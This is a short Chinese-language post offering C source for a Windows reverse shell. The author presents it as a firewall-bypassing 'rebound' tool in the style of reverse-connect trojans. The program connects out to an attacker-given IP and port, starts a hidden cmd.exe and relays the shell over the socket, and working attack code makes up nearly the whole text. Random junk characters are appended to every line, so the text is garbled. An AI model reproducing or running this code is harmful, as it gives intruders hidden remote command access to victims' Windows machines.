这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u.X]K:Yow
u>lt}0
/* ============================== TS6xF?
Rebound port in Windows NT ,M3hE/rb/
By wind,2006/7 O00;0w u
===============================*/ i&>^"_4rc
#include "D.<~!
#include }[JB%
D8L5t<^1R
#pragma comment(lib,"wsock32.lib") '9f0UtT|[
>va_,Y}
void OutputShell(); =fRS UtX
SOCKET sClient; aJ(/r.1G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y`j$7!j
L'{W|Xb+
void main(int argc,char **argv) c<|y/n
{ crb^TuN
WSADATA stWsaData; s oY\6mHio
int nRet; '/8/M{`s
SOCKADDR_IN stSaiClient,stSaiServer; <WIIurp
b:F;6X0~Hl
if(argc != 3) PEvY3F}_rh
{ [oU\l+t
printf("Useage:\n\rRebound DestIP DestPort\n"); f5 bq)Pm&
return; vmAnBY
} n5d8^c! 2
`YqtI/-w
WSAStartup(MAKEWORD(2,2),&stWsaData); 6o#/[Tz
{OPEW`F
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B3ItZojAuw
PSq?8.
stSaiClient.sin_family = AF_INET; Vt}QPNt
stSaiClient.sin_port = htons(0); @h|qL-:!vG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L/:l>Ko>7
}X{rE|@
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %J-0%-/_S:
{ 3F|p8zPS
printf("Bind Socket Failed!\n"); >M2~p&Si
return; !}h)
|
} >S:(BJMo
Qz|T0\=V
stSaiServer.sin_family = AF_INET; ~7ZZb*].(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zG_n x3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cQt&%SVT]E
~NK $rHwi%
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rlKR
<4H
{ Y
]()v
printf("Connect Error!"); [M[#f&=Z
return; jOfG}:>e\
} 6ncwa<q5
OutputShell(); e&
`"}^X;I
} _:9}RT?
es6YxMg
void OutputShell() e}?Q&Lci
{ bfA>kn0C
char szBuff[1024]; Qg/FFn^Kg*
SECURITY_ATTRIBUTES stSecurityAttributes; l0,VN,$Yl
OSVERSIONINFO stOsversionInfo; y5eEEG6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UnK7&Uo
STARTUPINFO stStartupInfo; _\\Al v.
char *szShell; ]\^O(BzB
PROCESS_INFORMATION stProcessInformation; {BJ>x:2
unsigned long lBytesRead; ir}z^+
_ VuWo
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0V3dc+t)O
aH."|
*.
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v1{j1~ZR
stSecurityAttributes.lpSecurityDescriptor = 0; 4x)vy-y
stSecurityAttributes.bInheritHandle = TRUE; 5{b;wLi$X2
.*`^dt
r&8aB85
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nBk&+SN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C1NU6iV^z
Xsa8YP9
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PyfWIU7O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~Fh+y+g?
stStartupInfo.wShowWindow = SW_HIDE; 5.VPK 338A
stStartupInfo.hStdInput = hReadPipe; eaf-_#qb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]#G s6CsT|
eAW)|=2
GetVersionEx(&stOsversionInfo); 6,YoP|@0
3zh:~w_
switch(stOsversionInfo.dwPlatformId) :8@)W<>%
{ 2p, U ^h
case 1: nlB'@r
szShell = "command.com"; v Z]j%c@
break; 4o}{3! m
default: bX2BEa8<"
szShell = "cmd.exe"; `D%i`"~Lf&
break; I^A>YJW
} m"~ddqSMT
crv#IC2
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d\>XfS
7<WUjK|
send(sClient,szMsg,77,0); A2gFY}
while(1) j?u1\<m
{ _3%$E.Q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;7s^slVzF
if(lBytesRead) #,z-Pj?O!
{ &V*MNi,4Z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mQ`atFz:Z
send(sClient,szBuff,lBytesRead,0); wY ItG"+6
} T9$~tv,5F
else R*bx&..<
{ ZX&e,X~V
lBytesRead=recv(sClient,szBuff,1024,0); pZS]i
"
if(lBytesRead<=0) break; ^|Z'}p|&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); a&JY x
} 3}\ z&|
} z` 6$p1U
PpFQoY7M
return; h.R46 :
}